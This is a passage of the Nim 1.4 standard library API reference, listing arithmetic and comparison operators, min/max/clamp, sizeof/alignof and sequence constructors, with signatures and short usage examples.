[Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L465) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L465) ``` proc `/%`(x, y: int32): int32 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L466) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L466) ``` proc `/%`(x, y: int64): int64 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L467) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L467) ``` proc `%%`(x, y: int): int {...}{.inline, raises: [], tags: [].} ``` Treats `x` and `y` as unsigned and compute the modulo of `x` and `y`. The result is truncated to fit into the result. This implements modulo arithmetic. No overflow errors are possible. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L469) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L469) ``` proc `%%`(x, y: int8): int8 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L475) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L475) ``` proc `%%`(x, y: int16): int16 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L476) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L476) ``` proc `%%`(x, y: int32): int32 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L477) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L477) ``` proc `%%`(x, y: int64): int64 {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L478) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L478) ``` proc `+=`[T: SomeInteger](x: var T; y: T) {...}{.magic: "Inc", noSideEffect.} ``` Increments an integer. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L480) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L480) ``` proc `-=`[T: SomeInteger](x: var T; y: T) {...}{.magic: "Dec", noSideEffect.} ``` Decrements an integer. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L484) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L484) ``` proc `*=`[T: SomeInteger](x: var T; y: T) {...}{.inline, noSideEffect.} ``` Binary `*=` operator for integers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/arithmetics.nim#L488) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/arithmetics.nim#L488) ``` proc `==`[Enum: enum](x, y: Enum): bool {...}{.magic: "EqEnum", noSideEffect.} ``` Checks whether values within the *same enum* have the same underlying value. ``` type Enum1 = enum Field1 = 3, Field2 Enum2 = enum Place1, Place2 = 3 var e1 = Field1 e2 = Enum1(Place2) echo (e1 == e2) # true echo (e1 == Place2) # raises error ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L2) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L2) ``` proc `==`(x, y: pointer): bool {...}{.magic: "EqRef", noSideEffect.} ``` ``` var # this is a wildly dangerous example a = cast[pointer](0) b = cast[pointer](nil) echo (a == b) # true due to the special meaning of `nil`/0 as a pointer ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L16) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L16) ``` proc `==`(x, y: string): bool {...}{.magic: "EqStr", noSideEffect.} ``` Checks for equality between two `string` variables. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L22) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L22) ``` proc `==`(x, y: char): bool {...}{.magic: "EqCh", noSideEffect.} ``` Checks for equality between two `char` variables. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L25) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L25) ``` proc `==`(x, y: bool): bool {...}{.magic: "EqB", noSideEffect.} ``` Checks for equality between two `bool` variables. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L27) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L27) ``` proc `==`[T](x, y: set[T]): bool {...}{.magic: "EqSet", noSideEffect.} ``` Checks for equality between two variables of type `set`. ``` var a = {1, 2, 2, 3} # duplication in sets is ignored var b = {1, 2, 3} echo (a == b) # true ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L29) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L29) ``` proc `==`[T](x, y: ref T): bool {...}{.magic: "EqRef", noSideEffect.} ``` Checks that two `ref` variables refer to the same item. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L36) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L36) ``` proc `==`[T](x, y: ptr T): bool {...}{.magic: "EqRef", noSideEffect.} ``` Checks that two `ptr` variables refer to the same item. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L38) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L38) ``` proc `==`[T: proc](x, y: T): bool {...}{.magic: "EqProc", noSideEffect.} ``` Checks that two `proc` variables refer to the same procedure. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L40) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L40) ``` proc `<=`[Enum: enum](x, y: Enum): bool {...}{.magic: "LeEnum", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L43) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L43) ``` proc `<=`(x, y: string): bool {...}{.magic: "LeStr", noSideEffect.} ``` Compares two strings and returns true if `x` is lexicographically before `y` (uppercase letters come before lowercase letters). ``` let a = "abc" b = "abd" c = "ZZZ" assert a <= b assert a <= a assert (a <= c) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L44) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L44) ``` proc `<=`(x, y: char): bool {...}{.magic: "LeCh", noSideEffect.} ``` Compares two chars and returns true if `x` is lexicographically before `y` (uppercase letters come before lowercase letters). ``` let a = 'a' b = 'b' c = 'Z' assert a <= b assert a <= a assert (a <= c) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L56) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L56) ``` proc `<=`[T](x, y: set[T]): bool {...}{.magic: "LeSet", noSideEffect.} ``` Returns true if `x` is a subset of `y`. A subset `x` has all of its members in `y` and `y` doesn't necessarily have more members than `x`. That is, `x` can be equal to `y`. ``` let a = {3, 5} b = {1, 3, 5, 7} c = {2} assert a <= b assert a <= a assert (a <= c) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L68) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L68) ``` proc `<=`(x, y: bool): bool {...}{.magic: "LeB", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L82) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L82) ``` proc `<=`[T](x, y: ref T): bool {...}{.magic: "LePtr", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L83) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L83) ``` proc `<=`(x, y: pointer): bool {...}{.magic: "LePtr", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L84) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L84) ``` proc `<`[Enum: enum](x, y: Enum): bool {...}{.magic: "LtEnum", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L86) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L86) ``` proc `<`(x, y: string): bool {...}{.magic: "LtStr", noSideEffect.} ``` Compares two strings and returns true if `x` is lexicographically before `y` (uppercase letters come before lowercase letters). ``` let a = "abc" b = "abd" c = "ZZZ" assert a < b assert (a < a) == false assert (a < c) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L87) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L87) ``` proc `<`(x, y: char): bool {...}{.magic: "LtCh", noSideEffect.} ``` Compares two chars and returns true if `x` is lexicographically before `y` (uppercase letters come before lowercase letters). ``` let a = 'a' b = 'b' c = 'Z' assert a < b assert (a < a) == false assert (a < c) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L99) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L99) ``` proc `<`[T](x, y: set[T]): bool {...}{.magic: "LtSet", noSideEffect.} ``` Returns true if `x` is a strict or proper subset of `y`. A strict or proper subset `x` has all of its members in `y` but `y` has more elements than `y`. ``` let a = {3, 5} b = {1, 3, 5, 7} c = {2} assert a < b assert (a < a) == false assert (a < c) == false ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L111) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L111) ``` proc `<`(x, y: bool): bool {...}{.magic: "LtB", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L125) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L125) ``` proc `<`[T](x, y: ref T): bool {...}{.magic: "LtPtr", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L126) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L126) ``` proc `<`[T](x, y: ptr T): bool {...}{.magic: "LtPtr", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L127) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L127) ``` proc `<`(x, y: pointer): bool {...}{.magic: "LtPtr", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L128) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L128) ``` proc `==`(x, y: int): bool {...}{.magic: "EqI", noSideEffect.} ``` Compares two integers for equality. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L143) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L143) ``` proc `==`(x, y: int8): bool {...}{.magic: "EqI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L145) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L145) ``` proc `==`(x, y: int16): bool {...}{.magic: "EqI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L146) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L146) ``` proc `==`(x, y: int32): bool {...}{.magic: "EqI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L147) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L147) ``` proc `==`(x, y: int64): bool {...}{.magic: "EqI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L148) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L148) ``` proc `<=`(x, y: int): bool {...}{.magic: "LeI", noSideEffect.} ``` Returns true if `x` is less than or equal to `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L150) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L150) ``` proc `<=`(x, y: int8): bool {...}{.magic: "LeI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L152) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L152) ``` proc `<=`(x, y: int16): bool {...}{.magic: "LeI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L153) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L153) ``` proc `<=`(x, y: int32): bool {...}{.magic: "LeI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L154) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L154) ``` proc `<=`(x, y: int64): bool {...}{.magic: "LeI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L155) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L155) ``` proc `<`(x, y: int): bool {...}{.magic: "LtI", noSideEffect.} ``` Returns true if `x` is less than `y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L157) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L157) ``` proc `<`(x, y: int8): bool {...}{.magic: "LtI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L159) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L159) ``` proc `<`(x, y: int16): bool {...}{.magic: "LtI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L160) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L160) ``` proc `<`(x, y: int32): bool {...}{.magic: "LtI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L161) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L161) ``` proc `<`(x, y: int64): bool {...}{.magic: "LtI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L162) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L162) ``` proc `<=`(x, y: uint): bool {...}{.magic: "LeU", noSideEffect.} ``` Returns true if `x <= y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L164) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L164) ``` proc `<=`(x, y: uint8): bool {...}{.magic: "LeU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L166) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L166) ``` proc `<=`(x, y: uint16): bool {...}{.magic: "LeU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L167) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L167) ``` proc `<=`(x, y: uint32): bool {...}{.magic: "LeU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L168) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L168) ``` proc `<=`(x, y: uint64): bool {...}{.magic: "LeU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L169) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L169) ``` proc `<`(x, y: uint): bool {...}{.magic: "LtU", noSideEffect.} ``` Returns true if `x < y`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L171) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L171) ``` proc `<`(x, y: uint8): bool {...}{.magic: "LtU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L173) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L173) ``` proc `<`(x, y: uint16): bool {...}{.magic: "LtU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L174) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L174) ``` proc `<`(x, y: uint32): bool {...}{.magic: "LtU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L175) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L175) ``` proc `<`(x, y: uint64): bool {...}{.magic: "LtU", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L176) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L176) ``` proc `<=%`(x, y: int): bool {...}{.inline, raises: [], tags: [].} ``` Treats `x` and `y` as unsigned and compares them. Returns true if `unsigned(x) <= unsigned(y)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L178) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L178) ``` proc `<=%`(x, y: int8): bool {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L182) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L182) ``` proc `<=%`(x, y: int16): bool {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L183) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L183) ``` proc `<=%`(x, y: int32): bool {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L184) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L184) ``` proc `<=%`(x, y: int64): bool {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L185) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L185) ``` proc `<%`(x, y: int): bool {...}{.inline, raises: [], tags: [].} ``` Treats `x` and `y` as unsigned and compares them. Returns true if `unsigned(x) < unsigned(y)`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L187) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L187) ``` proc `<%`(x, y: int8): bool {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L191) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L191) ``` proc `<%`(x, y: int16): bool {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L192) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L192) ``` proc `<%`(x, y: int32): bool {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L193) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L193) ``` proc `<%`(x, y: int64): bool {...}{.inline, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L194) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L194) ``` proc `==`(x, y: uint): bool {...}{.magic: "EqI", noSideEffect.} ``` Compares two unsigned integers for equality. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L204) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L204) ``` proc `==`(x, y: uint8): bool {...}{.magic: "EqI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L206) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L206) ``` proc `==`(x, y: uint16): bool {...}{.magic: "EqI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L207) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L207) ``` proc `==`(x, y: uint32): bool {...}{.magic: "EqI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L208) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L208) ``` proc `==`(x, y: uint64): bool {...}{.magic: "EqI", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L209) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L209) ``` proc min(x, y: int): int {...}{.magic: "MinI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L214) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L214) ``` proc min(x, y: int8): int8 {...}{.magic: "MinI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L216) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L216) ``` proc min(x, y: int16): int16 {...}{.magic: "MinI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L218) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L218) ``` proc min(x, y: int32): int32 {...}{.magic: "MinI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L220) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L220) ``` proc min(x, y: int64): int64 {...}{.magic: "MinI", noSideEffect, raises: [], tags: [].} ``` The minimum value of two integers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L222) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L222) ``` proc max(x, y: int): int {...}{.magic: "MaxI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L226) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L226) ``` proc max(x, y: int8): int8 {...}{.magic: "MaxI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L228) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L228) ``` proc max(x, y: int16): int16 {...}{.magic: "MaxI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L230) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L230) ``` proc max(x, y: int32): int32 {...}{.magic: "MaxI", noSideEffect, raises: [], tags: [].} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L232) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L232) ``` proc max(x, y: int64): int64 {...}{.magic: "MaxI", noSideEffect, raises: [], tags: [].} ``` The maximum value of two integers. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L234) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L234) ``` proc min[T](x: openArray[T]): T ``` The minimum value of `x`. `T` needs to have a `<` operator. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L239) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L239) ``` proc max[T](x: openArray[T]): T ``` The maximum value of `x`. `T` needs to have a `<` operator. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L245) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L245) ``` proc clamp[T](x, a, b: T): T ``` Limits the value `x` within the interval [a, b]. ``` assert((1.4).clamp(0.0, 1.0) == 1.0) assert((0.5).clamp(0.0, 1.0) == 0.5) ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L254) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L254) ``` proc `==`[I, T](x, y: array[I, T]): bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L265) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L265) ``` proc `==`[T](x, y: openArray[T]): bool ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L271) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L271) ``` proc `==`[T](x, y: seq[T]): bool {...}{.noSideEffect.} ``` Generic equals operator for sequences: relies on a equals operator for the element type `T`. [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system/comparisons.nim#L280) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system/comparisons.nim#L280) ``` proc unsafeNew[T](a: var ref T; size: Natural) {...}{.magic: "New", noSideEffect.} ``` Creates a new object of type `T` and returns a safe (traced) reference to it in `a`. This is **unsafe** as it allocates an object of the passed `size`. This should only be used for optimization purposes when you know what you're doing! See also: * [new](#new,ref.T,proc(ref.T)) [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L570) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L570) ``` proc sizeof[T](x: T): int {...}{.magic: "SizeOf", noSideEffect.} ``` Returns the size of `x` in bytes. Since this is a low-level proc, its usage is discouraged - using [new](#new,ref.T,proc(ref.T)) for the most cases suffices that one never needs to know `x`'s size. As a special semantic rule, `x` may also be a type identifier (`sizeof(int)` is valid). Limitations: If used for types that are imported from C or C++, sizeof should fallback to the `sizeof` in the C compiler. The result isn't available for the Nim compiler and therefore can't be used inside of macros. ``` sizeof('A') # => 1 sizeof(2) # => 8 ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L581) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L581) ``` proc alignof[T](x: T): int {...}{.magic: "AlignOf", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L601) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L601) ``` proc alignof(x: typedesc): int {...}{.magic: "AlignOf", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L602) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L602) ``` proc sizeof(x: typedesc): int {...}{.magic: "SizeOf", noSideEffect.} ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L616) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L616) ``` proc newSeq[T](s: var seq[T]; len: Natural) {...}{.magic: "NewSeq", noSideEffect.} ``` Creates a new sequence of type `seq[T]` with length `len`. This is equivalent to `s = @[]; setlen(s, len)`, but more efficient since no reallocation is needed. Note that the sequence will be filled with zeroed entries. After the creation of the sequence you should assign entries to the sequence instead of adding them. Example: ``` var inputStrings : seq[string] newSeq(inputStrings, 3) assert len(inputStrings) == 3 inputStrings[0] = "The fourth" inputStrings[1] = "assignment" inputStrings[2] = "would crash" #inputStrings[3] = "out of bounds" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L619) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L619) ``` proc newSeq[T](len = 0.Natural): seq[T] ``` Creates a new sequence of type `seq[T]` with length `len`. Note that the sequence will be filled with zeroed entries. After the creation of the sequence you should assign entries to the sequence instead of adding them. See also: * [newSeqOfCap](#newSeqOfCap,Natural) * [newSeqUninitialized](#newSeqUninitialized,Natural) ``` var inputStrings = newSeq[string](3) assert len(inputStrings) == 3 inputStrings[0] = "The fourth" inputStrings[1] = "assignment" inputStrings[2] = "would crash" #inputStrings[3] = "out of bounds" ``` [Source](https://github.com/nim-lang/Nim/tree/version-1-4/lib/system.nim#L638) [Edit](https://github.com/nim-lang/Nim/edit/devel/lib/system.nim#L638) ``` proc newSeqOfCap[T](cap: Natural): seq[T] {...}{.magic: "NewSeqOfCap", noSideEffect.} ``` Creates a new sequence of type `seq[T]` with length zero and capacity `cap`. 